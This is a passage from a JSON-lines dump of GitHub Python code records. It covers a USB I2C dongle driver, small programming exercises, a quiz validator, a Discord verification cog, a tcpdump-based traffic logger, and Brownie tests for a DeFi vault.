[ctypes.c_voidp, ctypes.c_wchar_p]\n # It results in Python crashing on conversion of c_wchar_p, probably because\n # the implicit conversion of Python3 expects 4 bytes per unicode char, while\n # the iowlibrary uses only 2.\n # Workaround is a string buffer of length 18 and the conversion is per\n # buffer.raw.decode(\"utf-8\")\n #\n # From the manual: I O W 2 4 - D G\n # Serial numbers are 8 digit hexadecimal numbers.\n\n iowkit.IowKitGetSerialNumber.argtypes = [ctypes.c_voidp, ctypes.c_voidp] # ok\n iowkit.IowKitGetSerialNumber.restype = ctypes.c_bool\n\n\n # Open device and get handle self.iow\n # can this fail?\n try:\n self.iow = iowkit.IowKitOpenDevice()\n except Exception as e:\n exceptPrint(e, \"iowkit.IowKitOpenDevice\")\n self.iow = None\n\n if self.iow is None: # must check for None, not 0 (zero)\n # return (False, \"No such dongle detected on USB bus\")\n return (False, \"A '{}' dongle was not detected\".format(self.name))\n\n\n\n setIndent(1)\n\n # set Read Timeout\n ito = iowkit.IowKitSetTimeout(self.iow, self.readtimeout)\n cdprint(fncname + getIowSetting(\"IowKitSetTimeout\", ito, self.readtimeout, \"ms\" ))\n\n # set Write Timeout\n iwto = iowkit.IowKitSetWriteTimeout(self.iow, self.writetimeout)\n cdprint(fncname + getIowSetting(\"IowKitSetWriteTimeout\", iwto, self.writetimeout, \"ms - not implemented on Linux\" ))\n\n self.emptyReport = IOWKIT_SPECIAL_REPORT(0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)\n self.reportSize = ctypes.sizeof(self.emptyReport)\n cdprint(fncname + getIowSetting(\"Size of Report\", \"----\", self.reportSize, \"0x{:02X}\".format(self.reportSize)))\n\n self.numPipe = IOW_PIPE_SPECIAL_MODE\n cdprint(fncname + getIowSetting(\"Pipe Number\", \"----\", self.numPipe.value, \"0x{:02X}\".format(self.numPipe.value)))\n\n # Set IOWarrior to I2C mode\n cdprint(fncname + self.IOWsetModeI2C())\n\n setIndent(0)\n portmsg = \"USB\"\n return True, \"Initialized Dongle \" + self.name\n\n\n def DongleTerminate(self):\n \"\"\" Close the I2C IOW dongle - has no meaning on IOW\"\"\"\n\n fncname = \"DongleTerminate: \"\n msg = \"Terminating dongle {}\".format(self.name)\n return fncname + msg\n\n\n def DongleReset(self):\n \"\"\"Reset the IOW dongle - not defined\"\"\"\n\n return \"DongleReset: Resetting '{}' not available\".format(self.name)\n\n\n def DongleGetInfo(self):\n \"\"\"get user relevant info\"\"\"\n\n\n def getDeviceName (pid):\n \"\"\"returns name of Device\"\"\"\n if pid == IOWKIT_PRODUCT_ID_IOW24: itype = \"24\"\n elif pid == IOWKIT_PRODUCT_ID_IOW40: itype = \"40\"\n elif pid == IOWKIT_PRODUCT_ID_IOW56: itype = \"56\"\n else: itype = \" (unknown)\"\n return \"IO-Warrior{}\".format(itype)\n\n info = \"\"\n\n # Get Product\n pid = iowkit.IowKitGetProductId(self.iow)\n info += \"{:30s}{}\\n\".format(\"- Product:\", getDeviceName(pid))\n\n # Get Kit Version\n ikv = iowkit.IowKitVersion()\n info += \"{:30s}{}\\n\".format(\"- Version of IOW Kit:\", ikv.decode(\"UTF-8\"))\n\n # Get Firmware Revision\n rev = iowkit.IowKitGetRevision(self.iow)\n info += \"{:30s}{}\\n\".format(\"- Firmware Version:\", hex(rev))\n\n # Get number of IOWs\n numdevs = iowkit.IowKitGetNumDevs()\n info += \"{:30s}{}\\n\".format(\"- Count of connected dongles:\", numdevs)\n\n # Get Serial number\n bsno = ctypes.create_string_buffer(18) # seesm ok, or are 19 needed for C \"\\x00\" termination?\n isn = iowkit.IowKitGetSerialNumber(self.iow, ctypes.byref(bsno))\n # Manual: Serial numbers are 8 digit hexadecimal numbers. ( and 2-byte unicode chars!)\n bsno = bsno[:16] # cuto off extra chars\n info += \"{:30s}{}\\n\".format(\"- SerialNumber of dongle:\", bsno.decode(\"utf-16\"))\n\n ### not needed as user info\n # # Get individual handle\n # igdh = iowkit.IowKitGetDeviceHandle(1) # device #1\n # info += \"{:30s}{}\\n\".format(\"- IowKitGetDeviceHandle:\", igdh)\n\n return info.split(\"\\n\")\n\n\n def DongleIsSensorPresent(self, addr):\n \"\"\"check a single address for presence of I2C device with address 'addr'\"\"\"\n\n # self.DongleScanPrep(\"Start\")\n response = self.DongleAddrIsUsed(addr)\n # self.DongleScanPrep(\"End\")\n\n return response\n\n\n def DongleScanPrep(self, type):\n \"\"\"Only the ELV dongle needs this prep\"\"\"\n pass\n\n\n def DongleAddrIsUsed(self, addr):\n # Write to Sensor at addr with empty data and read 1 byte\n # check if ACK is set or not\n\n # duration IOW: 6.6 ... 8.0 ms per address (with or without IOW printing)\n\n start = time.time()\n fncname = \"DongleAddrIsUsed: addr: 0x{:02X}: \".format(addr)\n\n rbytes = 1\n register = 0x00\n data = []\n try:\n self.IOWwriteData(addr, register, data)\n ret, rep = self.IOWreadData(rbytes)\n except Exception as e:\n exceptPrint(e, fncname)\n\n if rep[0] == 2: # is Acknowledge Report\n if rep[1] & 0x80: check = \"NoACK\" # error bit is set; Addr is NOT used\n else: check = \"ACK\" # ok; Addr is used\n else:\n check = \"wrong report ID\" # has happened, do what?\n\n duration = 1000 * (time.time() - start)\n # edprint(fncname + \"result: {} dur: {:0.2f}\".format(check, duration))\n\n if check == \"ACK\": return True\n else: return False\n\n\n def DongleWriteRead(self, addr, register, readbytes, data, addrScheme=1, msg=\"\", wait=0):\n \"\"\"combines\n def DongleWriteReg(self, addr, register, readbytes, data, addrScheme=1, msg=\"\"):\n def DongleGetData (self, addr, register, readbytes, data, addrScheme=1, msg=\"\"):\n into one, with error checking after write\n wait it wait phase between write and read call\n \"\"\"\n\n # write the data to the register\n wrt = self.DongleWriteReg(addr, register, readbytes, data, addrScheme=addrScheme, msg=msg)\n\n if wrt == -99:\n # failure in writing\n return []\n else:\n # Write succeeded\n # wait as required\n time.sleep(wait)\n\n # testwait\n time.sleep(0.001)\n\n # now get the data\n answ = self.DongleGetData (addr, register, readbytes, data, addrScheme=addrScheme, msg=msg)\n\n return answ\n\n\n\n def DongleWriteReg(self, addr, register, readbytes, data, addrScheme=1, msg=\"\"):\n \"\"\"Writes to register of dongle, perhaps with data\"\"\"\n\n # addr : the 7 bit address of sensor\n # register : sensor internal register address, 1 byte or 2 byte, like 0x00, 0x3345\n # readbytes: number of bytes to read (not relevant here)\n # data : any data bytes to write as list of byte values like: [0, 0, 7]\n # command : LM75 on dongle ELV: b'S 91 02 P' # prepare to read 2 bytes from previously set Temp register (=0x00)\n\n fncname = \" {:15s}: {:15s} \".format(\"DongleWriteReg\", msg)\n cdprint(fncname, \" addr:{:02X} reg:{:04X} data:{}\".format(addr, register, data))\n\n setIndent(1)\n wrt = self.IOWwriteData(addr, register, data, addrScheme=addrScheme, msg=msg)\n\n # \"Any write transactions are acknowledged by a report via interrupt-in endpoint 2\"\n # must read the report, or it interferes with data reading!\n ret, rep = self.IOWreadData(0, msg=msg)\n\n setIndent(0)\n\n return wrt\n\n\n def DongleGetData(self, addr, register, readbytes, data, addrScheme=1, msg=\"\"):\n \"\"\"Write to Sensor to set for reading, and read until error free Acknowledge\n received, but give up and return with [] after 3 retries\n return: list of values like: [1, 144, 76]\"\"\"\n\n fncname = \" {:15s}: {:15s} \".format(\"DongleGetData\", msg)\n\n # no read required; return empty list\n if readbytes == 0:\n playWav(\"err\")\n rdprint(fncname + \"readbytes == 0\")\n return []\n\n cdprint(fncname, \" addr:{:02X} readbytes:{}\".format(addr, readbytes))\n setIndent(1)\n\n # init the read\n gglobs.I2CDongle.IOWInitRead(addr, readbytes, msg=msg)\n\n # a single report has space for only 6 bytes.\n # when more are needed, repeat reading reports until you have all bytes\n sumrep = []\n bytes_received = 0\n repcounts = 0 # count of repeats on errors\n loop = 0\n while readbytes > bytes_received:\n\n # testwait\n time.sleep(0.001)\n\n loop += 1\n # do the read\n ret, rep = self.IOWreadData(readbytes, msg=msg)\n if rep[0] == 3:\n if rep[1] & 0x80: # error bit is set\n edprint(fncname + \"Error Bit set - Repeating Read in loop: #\", loop)\n repcounts += 1\n else:\n sumrep += rep[2:]\n bytes_received += 6\n else:\n # sometimes repID==2 is found; loop until correct (helpful?)\n edprint(fncname + \"--------------- Wrong reportID - got:#{:02X}, expected #03 - Repeating Read in loop: #{}\".format(rep[0], loop))\n repcounts += 1\n\n # if repcounts > 3: return [] # if more than 3 errors return []\n if repcounts > 3:\n sumrep = []\n break\n\n answ = sumrep[:readbytes] # reports give multiple of 6 bytes; take only as many a called for\n cdprint(fncname + \"Answer: \", convertB2Hex(answ))\n\n setIndent(0)\n\n return answ\n\n\n def IOWwriteData(self, addr, register, data, addrScheme=1, msg=\"\"):\n \"\"\" Writing to the sensor \"\"\"\n\n start = time.time()\n fncname = \" {:12s}: {:15s} \".format(\"IOWwriteData\", msg)\n\n if addrScheme == 1: reglen = 1\n elif addrScheme == 2: reglen = 2\n else: reglen = 2 # addrScheme == 3\n\n addr8 = addr << 1 + 0 # set write address: LM75: 7bit:0x48 -> 8bit:0x90\n lreg = list(register.to_bytes(reglen, byteorder='big')) # if addrscheme==2: change 16 bit register to list of 2x 8 bit bytes\n wdata = lreg + data\n\n wdlen = len(wdata)\n # print(\"wdlen:\", wdlen, \", wdata: \", wdata)\n\n if wdlen <= 5:\n # all data fit into one single report\n ikw, report = self.IOWwriteReport([addr8] + wdata, start=True, stop=True)\n cdprint(\"{:15s} ikw:{} report#2: {}\".format(fncname, ikw, self.IOWgetReportAsText(report)))\n\n\n else:\n # more data than fit into a single report\n ######################################################################################\n ## NOT TESTED - as no sensor needs more than 5 data !!!!!!!!!!\n ######################################################################################\n # IOW name xX time reqB wrt/rec info rec\n pTemplate = \"IOW {:9s} {:2s} {:10s} [{:3d}] [{:3d}] {:20s} == {}\"\n\n # first batch of data; with Generate Start, no Generate Stop\n pointer = 5\n data = [addr8] + wdata[:pointer]\n ikw, report = self.IOWwriteReport(data, start=True, stop=False)\n # print(self.pTemplate.format(name, \"TX\", stime()[11:], wdlen + 1, ikw, info, self.IOWgetReportAsText(report)))\n\n # next batches without Start, without Stop; leave enough for one last report with Stop=True\n while pointer + 6 < wdlen:\n data = wdata[pointer:pointer+6]\n #print(\"pointer, data:\", pointer, data)\n ikw, report = self.IOWwriteReport(data, start=False, stop=False)\n print(self.pTemplate.format(name, \"TX\", stime()[11:], wdlen + 1, ikw, info, self.IOWgetReportAsText(report)))\n pointer += 6\n\n # lastbatch with Stop\n data = wdata[pointer:]\n #print(\"pointer, last batch:\", pointer, data)\n ikw, report = self.IOWwriteReport(data, start=False, stop=True)\n\n duration = 1000 * (time.time() - start)\n # edprint(fncname + \"dur: {:0.1f}\".format(duration))\n\n return ikw\n\n\n def IOWwriteReport(self, wdata, start=True, stop=True, addrScheme=1, msg=\"\"):\n \"\"\"report ID = 2 write a single report \"\"\"\n\n start = time.time()\n fncname = \" {:12s}: {:15s} \".format(\"IOWwriteReport\", msg)\n\n lenwdata = len(wdata)\n if lenwdata > 6:\n cdprint(fncname + \"Programming ERROR in IOWwriteReport: Can't write more than 6 bytes in single report!\")\n sys.exit()\n\n flags = 0x00\n if start: flags = flags | 0x80 # sets highest bit Start\n if stop: flags = flags | 0x40 # sets 2nd highest bit Stop --> 0x80 + 0x40 = 0xC0\n flags = flags | lenwdata # lowest 3 bits count of data 0 ... 6 (not 7!)\n # print(\"start, stop, flags: \", start, stop, hex(flags), bin(flags))\n\n data = wdata + [0x00, 0x00, 0x00, 0x00, 0x00, 0x00] # use only the first 6 items to construct report\n # print(fncname + \"data:\", data)\n\n report = IOWKIT_SPECIAL_REPORT(\n 0x02, # report ID = 2\n flags, # flags: e.g. C3: Start, Stop and 3 bytes data (1 byte address plus 2 more bytes)\n # flags: e.g. 06: No Start, No Stop and 6 bytes data, no address\n # flags: e.g. 84: Start, No Stop and 4 bytes data, including address\n # flags: e.g. 46: No Start, Stop and 6 bytes data, no address\n # flags contains the following bits:\n # 7 - Generate Start\n # 6 - Generate Stop\n # 5 - unused, write zero\n # 4 - unused, write zero\n # 3 - unused, write zero\n # 2 - data count MSB\n # 1 - data count\n # 0 - data count LSB\n data[0], # data\n data[1], # data\n data[2], # data\n data[3], # data\n data[4], # data\n data[5], # data\n )\n\n ikw = iowkit.IowKitWrite(self.iow, self.numPipe, ctypes.byref(report), self.reportSize)\n\n duration = 1000 * (time.time() - start)\n # edprint(fncname + \"dur: {:0.1f}\".format(duration))\n\n return ikw, report\n\n\n def IOWreadData(self, rbytes, addrScheme=1, msg=\"\"):\n \"\"\" Read max of 6 bytes from sensor \"\"\"\n\n start = time.time()\n fncname = \" {:12s}: {:15s} \".format(\"IOWreadData\", msg)\n\n # get an empty report; it'll be filled by the IowKitRead read\n report = copy.copy(self.emptyReport)\n ikr = iowkit.IowKitRead(self.iow, self.numPipe, ctypes.byref(report), self.reportSize)\n\n duration = 1000 * (time.time() - start)\n cdprint(\"{:15s} ikr:{} report#?: {} dur:{:0.3f}\".format(fncname, ikr, self.IOWgetReportAsText(report), duration))\n\n return ikr, report\n\n\n def IOWInitRead(self, addr, count, addrScheme=1, msg=\"\"):\n \"\"\"report ID = 3 Setup Sensor with 7bit address addr for Read of count bytes\"\"\"\n\n global IOWKIT_SPECIAL_REPORT, iowkit\n\n start = time.time()\n fncname = \" {:12s}: {:15s} \".format(\"IOWInitRead\", msg)\n\n addr8 = (addr << 1) + 1 # LM75: 7bit:0x48 -> 8bit:0x91\n report = IOWKIT_SPECIAL_REPORT(\n 0x03, # report ID = 3\n count, # count: (=number of bytes to be read from the sensor)\n addr8, # command: sensor read address\n 0x00, # set to zero\n 0x00, # set to zero\n 0x00, # set to zero\n 0x00, # set to zero\n 0x00, # set to zero\n )\n\n ikw = iowkit.IowKitWrite(self.iow, self.numPipe, ctypes.byref(report), self.reportSize)\n\n duration = 1000 * (time.time() - start)\n cdprint(\"{:15s} ikw:{} report#2: {}\".format(fncname, ikw, self.IOWgetReportAsText(report)))\n\n\n def IOWsetModeI2C(self):\n \"\"\"report ID = 1: sets IOW to I2C mode\"\"\"\n\n global IOWKIT_SPECIAL_REPORT, iowkit\n\n fncname = \"IOWsetModeI2C\"\n\n report = IOWKIT_SPECIAL_REPORT(\n 0x01, # report ID = 1\n 0x01, # enable I2C mode\n 0x00, # all flags 0 (Bit 7 - Disable Pull Ups (1 = disable) - IOW24 only (for 3.3V operation)\n # Bit 6 - Use Sensibus Protocol (1 = enable)\n # Bit 5:0 - unused, write zero\n 0x00, # max timeout of 256x500 microsec (=0.128 sec)\n 0x00, # must be zero\n 0x00, # must be zero\n 0x00, # must be zero\n 0x00, # must be zero\n )\n\n ikw = iowkit.IowKitWrite(self.iow, self.numPipe, ctypes.byref(report), self.reportSize)\n\n return \"{:30s}: ikw:{} report: {}\".format(fncname, ikw, self.IOWgetReportAsText(report))\n\n\n def IOWgetReportAsText (self, report):\n \"\"\"return report array as string\"\"\"\n\n return \"\".join(\"%02X \" % r for r in report)\n\n","repo_name":"ckuethe/geigerlog","sub_path":"gdev_i2c_Dngl_IOW.py","file_name":"gdev_i2c_Dngl_IOW.py","file_ext":"py","file_size_in_byte":27622,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"48"} +{"seq_id":"24560416699","text":"#Create a Bank account with members account number, name, type of account and balance.\n#Write constructor and methods to deposit at the bank and withdraw an amount from the bank.\nclass bankAccount:\n def __init__(self,name,accountNo,Accounttype,balance):\n self.name = name\n self.accountNo = accountNo\n self.Accounttype = Accounttype\n self.balance = balance\n def deposit(self,a):\n self.balance = self.balance + a\n return self.balance\n def withdraw(self,b):\n self.balance = self.balance - b\n return self.balance\nabhi = bankAccount(\"rony\",123456,\"AC\",15000) \nprint(abhi.deposit(1000))\nprint(abhi.withdraw(500))\n\n","repo_name":"Abhilash2015mca/Programming-Lab-Python-","sub_path":"Co4/2.py","file_name":"2.py","file_ext":"py","file_size_in_byte":674,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"5695013548","text":"#!/usr/bin/python3\n\n\"\"\"this is 2-matrix_divided module\"\"\"\n\n\ndef matrix_divided(matrix, div):\n \"\"\"divides each element of a matrix\n by a number(div)\"\"\"\n\n if type(matrix) is not list:\n raise TypeError(\"matrix must be a matrix\\\n (list of lists) of integers/floats\")\n size = None\n for i in matrix:\n if type(i) is not list:\n raise TypeError(\"matrix must be a matrix\\\n (list of lists) of integers/floats\")\n if size is None:\n size = len(i)\n elif size != len(i):\n raise TypeError(\"Each row of the matrix must have the same size\")\n for j in i:\n if type(j) not in [int, float]:\n raise TypeError(\"matrix must be a matrix\\\n (list of lists) of integers/floats\")\n if type(div) not in [int, float]:\n raise TypeError(\"div must be a number\")\n if div == 0:\n raise ZeroDivisionError(\"division by zero\")\n return [[round(j / div, 2) for j in i] for i in matrix]\n","repo_name":"meron123meron/alx-higher_level_programming","sub_path":"0x07-python-test_driven_development/2-matrix_divided.py","file_name":"2-matrix_divided.py","file_ext":"py","file_size_in_byte":1030,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"70866429265","text":"from logger import logger\nfrom hashlib import sha1\n\nclass Question(object):\n def __init__(self, json):\n self.statement = json[\"statement\"]\n self.tags = json[\"tags\"]\n self.answers = json[\"answers\"]\n self.type = json[\"type\"]\n\n self._hash = sha1()\n self._hash.update(str(json))\n self._hash = self._hash.hexdigest()\n\n def __hash__(self):\n return int(self._hash, 16)\n\n def hasTag(self, tag):\n return tag == '_any_' or tag in self.tags\n\n @staticmethod\n def validate(json):\n if \"statement\" not in json:\n logger.error(\"Question should have 'statement' field\")\n return False\n if \"tags\" not in json:\n logger.error(\"Question should have 'tags' field\")\n return False\n if \"answers\" not in json:\n logger.error(\"Question should have 'answers' field\")\n return False\n if \"type\" not in json:\n logger.error(\"Question should have 'type' field\")\n return False\n\n if not json[\"statement\"]:\n logger.error(\"Question statement is empty\")\n return False\n if not json[\"tags\"]:\n logger.error(\"No tags defined\")\n return False\n for tag in json[\"tags\"]:\n if not tag:\n logger.error(\"Invalid tag\")\n return False\n if tag == \"_any_\":\n logger.error(\"Don't use reserved tag '_any_'\")\n return False\n if not json[\"answers\"]:\n logger.error(\"No answer defined\")\n return False\n for answer in json[\"answers\"]:\n if 'text' not in answer:\n logger.error(\"Answer whould have 'text' field\")\n return False\n if 'correct' not in answer:\n logger.error(\"Answer whould have 'correct' field\")\n return False\n if not json[\"type\"]:\n logger.error(\"No type declared\")\n return False\n if json[\"type\"] not in (\"single\", \"multiple\"):\n logger.error(\n \"Question type is invalid. Use 'single' or 'multiple'\")\n return False\n\n correctAnswers = [\n answer for answer in json[\"answers\"] if answer[\"correct\"]]\n if json[\"type\"] == \"single\" and len(correctAnswers) is not 1:\n logger.error(\"Exactly one answer should be marked as correct\")\n return False\n return True\n","repo_name":"gabrfarina/mcexam","sub_path":"lib/question.py","file_name":"question.py","file_ext":"py","file_size_in_byte":2474,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"13347670804","text":"import discord\r\nfrom discord.ext import commands\r\n\r\n\r\nclass helpers(commands.Cog):\r\n\r\n\r\n def __init__(self, client):\r\n self.client = client\r\n\r\n\r\n def getuser(self, RegNo=\"\"):\r\n if(RegNo == \"\"):\r\n return['error']\r\n f = open('cogs/verified.csv', 'r')\r\n srn_list = [line.split(',')[3] for line in list(filter(None, f.read().split('\\n')))]\r\n if(RegNo in srn_list):\r\n f.close()\r\n return ['Done']\r\n f.close()\r\n file = None\r\n if ('PES12018' in RegNo or 'PES22018' in RegNo):\r\n file = open('cogs/batch_list_2018.csv', 'r')\r\n elif ('PES1UG19' in RegNo or 'PES2UG19' in RegNo):\r\n file = open('cogs/batch_list_2019.csv', 'r')\r\n elif ('PES1UG20' in RegNo or 'PES2UG20' in RegNo):\r\n file = open('cogs/batch_list_2020.csv', 'r')\r\n elif ('PES1UG21' in RegNo or 'PES2UG21' in RegNo):\r\n file = open('cogs/batch_list_2021.csv', 'r')\r\n\r\n if file == None:\r\n return ['no match']\r\n for lin in file:\r\n if(RegNo in lin):\r\n f.close()\r\n return lin.split(',')\r\n file.close()\r\n return ['error']\r\n\r\n\r\n def getDeverified(self, regNo=\"\"):\r\n dat = \"\"\r\n ret = False\r\n file1 = open('cogs/verified.csv', 'r')\r\n\r\n for line in file1:\r\n if(regNo not in line.split(',')):\r\n dat += line\r\n else:\r\n ret = True\r\n\r\n file1.close()\r\n file1 = open('cogs/verified.csv', 'w')\r\n file1.write(dat)\r\n file1.close()\r\n\r\n return ret\r\n\r\n\r\n def getVerified(self, a=\"\"):\r\n if(a == \"\"):\r\n return ['unverified']\r\n file = open('cogs/verified.csv', 'r')\r\n\r\n for line in file:\r\n line = line.split(',')\r\n if(len(line) > 5):\r\n if(a == line[1]):\r\n file.close()\r\n return line\r\n file.close()\r\n return ['unverified']\r\n\r\n\r\ndef setup(client):\r\n client.add_cog(helpers(client))\r\n","repo_name":"samarth777/pesu-bot-2025","sub_path":"cogs/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":2091,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"48"} +{"seq_id":"3804390156","text":"import subprocess as sub\nfrom datetime import datetime\n\ndef main():\n try:\n now = datetime.now()\n arquivo = str(now)[:10] + \".txt\"\n arq = open(arquivo, \"w\")\n p = sub.Popen(('sudo', 'tcpdump', '-nl', '-tttt'), stdout=sub.PIPE)\n for line in iter(p.stdout.readline, b''):\n outputTcpdump = line.split(',')\n outputTcpdump = outputTcpdump[0]\n dateTime, aux = outputTcpdump.split(\"IP\")\n data = dateTime[0:10]\n time = dateTime[11:26]\n ipOrigem, ipDestino = aux.split('>')\n ipOrigem = ipOrigem[1:]\n aux = ipOrigem.split('.')\n portaOrigem = aux[4][:len(aux[4])-1]\n ipOrigem = aux[0] + \".\" + aux[1] + \".\" + aux[2] + \".\" + aux[3]\n ipDestino = ipDestino[1:]\n aux = ipDestino.split('.')\n portaDestino = aux[4]\n portaDestino = portaDestino.split(':')\n portaDestino = portaDestino[0]\n ipDestino = aux[0] + \".\" + aux[1] + \".\" + aux[2] + \".\" + aux[3]\n linhaArquivo = data+\"|\"+time+\"|\"+ipOrigem+\"|\"+portaOrigem+\"|\"+ipDestino+\"|\"+portaDestino+\";\"\n arq.write(linhaArquivo)\n arq.close()\n except Exception:\n pass\n\n\nmain()\n\n","repo_name":"fernandolimati/Firewall-Python","sub_path":"capturar-pacotes.py","file_name":"capturar-pacotes.py","file_ext":"py","file_size_in_byte":1252,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"22834144176","text":"import pytest\nimport brownie\nfrom brownie import ZERO_ADDRESS\n\nMAX_UINT256 = 2**256 - 1\n\n\n@pytest.fixture\ndef vault(gov, management, token, Vault):\n # NOTE: Because the fixture has tokens in it already\n vault = gov.deploy(Vault)\n vault.initialize(\n token, gov, gov, token.symbol() + \" yVault\", \"yv\" + token.symbol(), gov\n )\n vault.setDepositLimit(2**256 - 1, {\"from\": gov})\n vault.setManagement(management, {\"from\": gov})\n yield vault\n\n\n@pytest.fixture\ndef strategy(gov, vault, TestStrategy):\n # NOTE: Because the fixture has tokens in it already\n yield gov.deploy(TestStrategy, vault)\n\n\n@pytest.fixture\ndef other_strategy(gov, vault, TestStrategy):\n # NOTE: Because the fixture has tokens in it already\n yield gov.deploy(TestStrategy, vault)\n\n\n@pytest.fixture\ndef other_token(gov, Token):\n yield gov.deploy(Token, 18)\n\n\ndef test_liquidation_after_hack(chain, gov, vault, token, TestStrategy):\n # Deposit into vault\n token.approve(vault, MAX_UINT256, {\"from\": gov})\n vault.deposit(1000, {\"from\": gov})\n\n # Deploy strategy and seed it with debt\n strategy = gov.deploy(TestStrategy, vault)\n vault.addStrategy(strategy, 2_000, 0, 10**21, 1000, {\"from\": gov})\n strategy.harvest({\"from\": gov})\n\n # The strategy suffers a loss\n stolenFunds = token.balanceOf(strategy) // 2\n strategy._takeFunds(stolenFunds, {\"from\": gov})\n strategyTotalAssetsAfterHack = token.balanceOf(strategy)\n\n # Make sure strategy debt exceeds strategy assets\n totalDebt = vault.strategies(strategy).dict()[\"totalDebt\"]\n totalAssets = token.balanceOf(strategy)\n assert totalDebt > totalAssets\n\n # Make sure the withdrawal results in liquidation\n amountToWithdraw = 100 # amountNeeded in BaseStrategy\n assert amountToWithdraw <= strategyTotalAssetsAfterHack\n loss = totalDebt - totalAssets\n assert loss <= amountToWithdraw\n\n # Liquidate strategy\n strategy.withdraw(amountToWithdraw, {\"from\": vault})\n\n\n@pytest.fixture\ndef strategy_with_wrong_vault(gov, token, vault, Vault, TestStrategy):\n otherVault = gov.deploy(Vault)\n otherVault.initialize(\n token,\n gov,\n gov,\n token.symbol() + \" yVault\",\n \"yv\" + token.symbol(),\n gov,\n )\n assert otherVault.token() == token\n assert otherVault != vault\n otherVault.setDepositLimit(2**256 - 1, {\"from\": gov})\n yield gov.deploy(TestStrategy, otherVault)\n\n\n@pytest.fixture\ndef strategy_with_wrong_want_token(gov, vault, other_token, Token, TestStrategy):\n strategy = gov.deploy(TestStrategy, vault)\n assert strategy.want() == vault.token()\n assert strategy.vault() == vault\n strategy._setWant(other_token)\n assert strategy.want() == other_token\n yield strategy\n\n\ndef test_addStrategy(\n chain,\n gov,\n vault,\n strategy,\n other_strategy,\n strategy_with_wrong_want_token,\n strategy_with_wrong_vault,\n rando,\n):\n\n # Only governance can add a strategy\n with brownie.reverts():\n vault.addStrategy(strategy, 100, 10, 20, 1000, {\"from\": rando})\n\n # Can't add a strategy during emergency shutdown\n vault.setEmergencyShutdown(True, {\"from\": gov})\n with brownie.reverts():\n vault.addStrategy(strategy, 100, 10, 20, 1000, {\"from\": gov})\n chain.undo()\n chain.undo()\n\n assert vault.strategies(strategy).dict() == {\n \"performanceFee\": 0,\n \"activation\": 0,\n \"debtRatio\": 0,\n \"minDebtPerHarvest\": 0,\n \"maxDebtPerHarvest\": 0,\n \"lastReport\": 0,\n \"totalGain\": 0,\n \"totalLoss\": 0,\n \"totalDebt\": 0,\n }\n\n vault.addStrategy(strategy, 100, 10, 20, 1000, {\"from\": gov})\n activation_timestamp = chain[-1][\"timestamp\"]\n assert vault.strategies(strategy).dict() == {\n \"performanceFee\": 1000,\n \"activation\": activation_timestamp,\n \"debtRatio\": 100,\n \"minDebtPerHarvest\": 10,\n \"maxDebtPerHarvest\": 20,\n \"lastReport\": activation_timestamp,\n \"totalGain\": 0,\n \"totalLoss\": 0,\n \"totalDebt\": 0,\n }\n assert vault.withdrawalQueue(0) == strategy\n\n # Can't add a strategy twice\n with brownie.reverts():\n vault.addStrategy(strategy, 100, 10, 20, 1000, {\"from\": gov})\n\n # Can't add zero address as a strategy\n with brownie.reverts():\n vault.addStrategy(ZERO_ADDRESS, 100, 10, 20, 1000, {\"from\": gov})\n\n # Can't add a strategy with incorrect vault\n with brownie.reverts():\n vault.addStrategy(strategy_with_wrong_vault, 100, 10, 20, 1000, {\"from\": gov})\n\n # Can't add a strategy with incorrect want token\n with brownie.reverts():\n vault.addStrategy(\n strategy_with_wrong_want_token, 100, 10, 20, 1000, {\"from\": gov}\n )\n\n # Can't add a strategy with a debt ratio more than the maximum\n leftover_ratio = 10_000 - vault.debtRatio()\n with brownie.reverts():\n vault.addStrategy(\n other_strategy, leftover_ratio + 1, 10, 20, 1000, {\"from\": gov}\n )\n\n vault.addStrategy(other_strategy, leftover_ratio, 10, 20, 1000, {\"from\": gov})\n assert vault.debtRatio() == 10_000\n\n\ndef test_updateStrategy(chain, gov, vault, strategy, rando):\n # Can't update an unapproved strategy\n with brownie.reverts():\n vault.updateStrategyDebtRatio(strategy, 500, {\"from\": gov})\n with brownie.reverts():\n vault.updateStrategyMinDebtPerHarvest(strategy, 15, {\"from\": gov})\n with brownie.reverts():\n vault.updateStrategyMaxDebtPerHarvest(strategy, 15, {\"from\": gov})\n with brownie.reverts():\n vault.updateStrategyPerformanceFee(strategy, 75, {\"from\": gov})\n\n vault.addStrategy(strategy, 100, 10, 20, 1000, {\"from\": gov})\n activation_timestamp = chain[-1][\"timestamp\"]\n\n # Not just anyone can update a strategy\n with brownie.reverts():\n vault.updateStrategyDebtRatio(strategy, 500, {\"from\": rando})\n with brownie.reverts():\n vault.updateStrategyMinDebtPerHarvest(strategy, 15, {\"from\": rando})\n with brownie.reverts():\n vault.updateStrategyMaxDebtPerHarvest(strategy, 15, {\"from\": rando})\n with brownie.reverts():\n vault.updateStrategyPerformanceFee(strategy, 75, {\"from\": rando})\n\n vault.updateStrategyDebtRatio(strategy, 500, {\"from\": gov})\n assert vault.strategies(strategy).dict() == {\n \"performanceFee\": 1000,\n \"activation\": activation_timestamp,\n \"debtRatio\": 500, # This changed\n \"minDebtPerHarvest\": 10,\n \"maxDebtPerHarvest\": 20,\n \"lastReport\": activation_timestamp,\n \"totalGain\": 0,\n \"totalLoss\": 0,\n \"totalDebt\": 0,\n }\n\n vault.updateStrategyMinDebtPerHarvest(strategy, 15, {\"from\": gov})\n assert vault.strategies(strategy).dict() == {\n \"performanceFee\": 1000,\n \"activation\": activation_timestamp,\n \"debtRatio\": 500,\n \"minDebtPerHarvest\": 15, # This changed\n \"maxDebtPerHarvest\": 20,\n \"lastReport\": activation_timestamp,\n \"totalGain\": 0,\n \"totalLoss\": 0,\n \"totalDebt\": 0,\n }\n\n vault.updateStrategyMaxDebtPerHarvest(strategy, 15, {\"from\": gov})\n assert vault.strategies(strategy).dict() == {\n \"performanceFee\": 1000,\n \"activation\": activation_timestamp,\n \"debtRatio\": 500,\n \"minDebtPerHarvest\": 15,\n 